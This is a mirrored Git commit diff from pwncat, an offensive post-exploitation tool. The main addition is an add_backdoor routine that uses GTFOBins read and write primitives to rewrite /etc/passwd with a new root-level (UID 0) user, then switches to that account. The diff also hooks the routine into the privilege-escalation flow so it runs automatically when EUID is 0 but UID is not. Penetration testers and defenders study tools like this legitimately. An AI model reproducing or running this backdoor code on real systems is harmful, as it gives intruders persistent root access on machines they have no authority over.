mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Merge branch 'master' of https://github.com/calebstewart/pwncat
This commit is contained in:
commit
199d58b546
@ -5,6 +5,7 @@ import crypt
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
from pwncat.privesc.sudo import SudoMethod
|
||||
from pwncat import downloader
|
||||
from pwncat import gtfobins
|
||||
from pwncat import util
|
||||
|
||||
@ -72,6 +73,56 @@ class Finder:
|
||||
|
||||
return techniques
|
||||
|
||||
def add_backdoor(self):
|
||||
""" Add the backdoor user if it doesn't already exist. This is normally
|
||||
called in order to solidify full UID=0 access (e.g. when SUID binaries
|
||||
yield a EUID=0 but UID!=0. """
|
||||
|
||||
self.pty.reload_users()
|
||||
|
||||
if self.backdoor_user_name not in self.pty.users:
|
||||
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||
if binary is None:
|
||||
raise PrivescError("no file read methods available from gtfobins")
|
||||
|
||||
# Read the etc/passwd file
|
||||
passwd = self.pty.subprocess(binary.read_file("/etc/passwd"))
|
||||
data = passwd.read()
|
||||
passwd.close()
|
||||
|
||||
# Split up the file by lines
|
||||
data = data.decode("utf-8").strip()
|
||||
data = data.split("\n")
|
||||
|
||||
# Add a new user
|
||||
password = crypt.crypt(self.backdoor_password)
|
||||
user = self.backdoor_user_name
|
||||
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
|
||||
|
||||
# Prepare data for transmission
|
||||
data = ("\n".join(data) + "\n").encode("utf-8")
|
||||
|
||||
# Find a GTFObins payload that works
|
||||
binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE)
|
||||
if binary is None:
|
||||
raise PrivescError("no file write methods available from gtfobins")
|
||||
|
||||
# Write the file
|
||||
self.pty.run(binary.write_file("/etc/passwd", data))
|
||||
|
||||
# Stabilize output after the file write
|
||||
self.pty.run("echo")
|
||||
|
||||
# Reload the /etc/passwd data
|
||||
self.pty.reload_users()
|
||||
|
||||
if self.backdoor_user_name not in self.pty.users:
|
||||
raise PrivescError("/etc/passwd update failed!")
|
||||
|
||||
self.pty.process(f"su {self.backdoor_user_name}", delim=False)
|
||||
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
||||
self.pty.run("echo")
|
||||
|
||||
def write_file(
|
||||
self,
|
||||
filename: str,
|
||||
|
@ -123,10 +123,6 @@ class SetuidMethod(Method):
|
||||
return read_pipe
|
||||
|
||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||
info(
|
||||
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
||||
)
|
||||
|
||||
binary = technique.ident
|
||||
payload = binary.write_file(filepath, data)
|
||||
|
||||
|
@ -252,9 +252,6 @@ class SudoMethod(Method):
|
||||
|
||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||
|
||||
info(
|
||||
f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
||||
)
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
|
||||
read_payload = binary.read_file(
|
||||
@ -270,9 +267,6 @@ class SudoMethod(Method):
|
||||
|
||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||
|
||||
info(
|
||||
f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}"
|
||||
)
|
||||
binary, sudo_spec, password_required = technique.ident
|
||||
payload = binary.write_file(
|
||||
filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}"
|
||||
@ -282,3 +276,19 @@ class SudoMethod(Method):
|
||||
self.pty.run(
|
||||
payload, input=functools.partial(self.send_password, self.pty.current_user),
|
||||
)
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
""" Get the name of the given technique for display """
|
||||
return (
|
||||
(
|
||||
f"{Fore.GREEN}{tech.user}{Fore.RESET} via "
|
||||
f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} "
|
||||
f"({Fore.RED}sudo{Fore.RESET}"
|
||||
)
|
||||
+ (
|
||||
""
|
||||
if tech.ident[2]
|
||||
else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}"
|
||||
)
|
||||
+ ")"
|
||||
)
|
||||
|
@ -610,10 +610,32 @@ class PtyHandler:
|
||||
else:
|
||||
try:
|
||||
chain = self.privesc.escalate(args.user, args.max_depth)
|
||||
|
||||
ident = self.id
|
||||
backdoor = False
|
||||
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
||||
util.progress(
|
||||
"EUID != UID. installing backdoor to complete privesc"
|
||||
)
|
||||
try:
|
||||
self.privesc.add_backdoor()
|
||||
backdoor = True
|
||||
except privesc.PrivescError as exc:
|
||||
util.warn(f"backdoor installation failed: {exc}")
|
||||
|
||||
util.success("privilege escalation succeeded using:")
|
||||
for i, (technique, _) in enumerate(chain):
|
||||
arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
|
||||
print(f"{(i+1)*' '}{arrow}{technique}")
|
||||
|
||||
if backdoor:
|
||||
print(
|
||||
(
|
||||
f"{(len(chain)+1)*' '}{arrow}"
|
||||
f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"
|
||||
)
|
||||
)
|
||||
|
||||
self.reset()
|
||||
self.do_back([])
|
||||
except privesc.PrivescError as exc:
|
||||
|
Loading…
Reference in New Issue
Block a user